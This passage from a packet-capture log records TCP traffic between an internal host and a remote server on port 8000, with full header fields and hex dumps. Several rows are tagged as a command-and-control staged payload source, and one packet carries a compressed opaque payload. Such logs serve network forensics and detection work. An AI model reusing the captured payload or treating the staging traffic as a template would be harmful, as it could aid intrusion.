{\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45464, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15975, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637059, \"\"ack\"\": 578738453, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25578, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:13:30.759751,1033,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738453 Ack=1283637060,bc2411360d0cbc24112907bb0800450000280000400040063000c0a3a7890a98980b1f40fa6a227ed9154c82bf445010003f83bf0000,\".$.6\n..$.)....E..(..@.@.0.....\n....@.j\"\"~..L..DP..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738453, \"\"ack\"\": 1283637060, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 33727, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:13:34.782203,1034,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=1244487709 Ack=0,bc24112907bbbc2411360d0c080045000034b199400080063e5a0a98980bc0a3a789fa6f1f404a2d601d000000008002faf0a5540000020405b40103030801010402,\".$.)...$.6\n...E..4..@...>Z\n........o.@J-`..........T..............\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45465, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15962, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487709, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 42324, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:13:34.782244,1035,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=837001325 Ack=1244487710,bc2411360d0cbc24112907bb0800450000340000400040062ff4c0a3a7890a98980b1f40fa6f31e3a06d4a2d601e8012faf00af70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@./.....\n....@.o1..mJ-`.....\n..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001325, \"\"ack\"\": 1244487710, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:13:34.782519,1036,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1244487710 Ack=837001326,bc24112907bbbc2411360d0c080045000028b19a400080063e650a98980bc0a3a789fa6f1f404a2d601e31e3a06e50102014eea20000,\".$.)...$.6\n...E..(..@...>e\n........o.@J-`.1..nP. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45466, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15973, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487710, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 61090, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:13:34.797213,1037,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1244487710 Ack=837001326,bc24112907bbbc2411360d0c0800450000c9b19b400080063dc30a98980bc0a3a789fa6f1f404a2d601e31e3a06e50182014675400009d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91c3718bc7af6328350f006b5aad56,\"........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq..\t...M.w5.\n_.`....=w..........W.~...z].m..q...c(5..kZ.V\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 201, \"\"id\"\": 45467, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15811, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487710, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 26452, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91c3718bc7af6328350f006b5aad56\"\"}}]\"\n2026-07-01 09:13:34.797239,1038,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500002805ab400040062a55c0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf5010003f0aeb0000,\".$.6\n..$.)....E..(..@.@.*U....\n....@.o1..nJ-`.P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1451, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10837, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:13:35.810818,1039,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b19c400080063e620a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45468, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15970, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:35.810841,1040,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405ac400040062a48c0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*H....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1452, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10824, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:36.826490,1041,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b19d400080063e610a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45469, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15969, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:36.826533,1042,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405ad400040062a47c0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*G....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1453, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10823, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:37.842132,1043,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b19e400080063e600a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45470, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15968, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:37.842157,1044,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405ae400040062a46c0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*F....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1454, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10822, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:38.842228,1045,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b19f400080063e5f0a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45471, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15967, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:38.842282,1046,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405af400040062a45c0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*E....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1455, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10821, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:39.857819,1047,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1a0400080063e5e0a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45472, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15966, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:39.857852,1048,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405b0400040062a44c0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*D....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1456, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10820, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 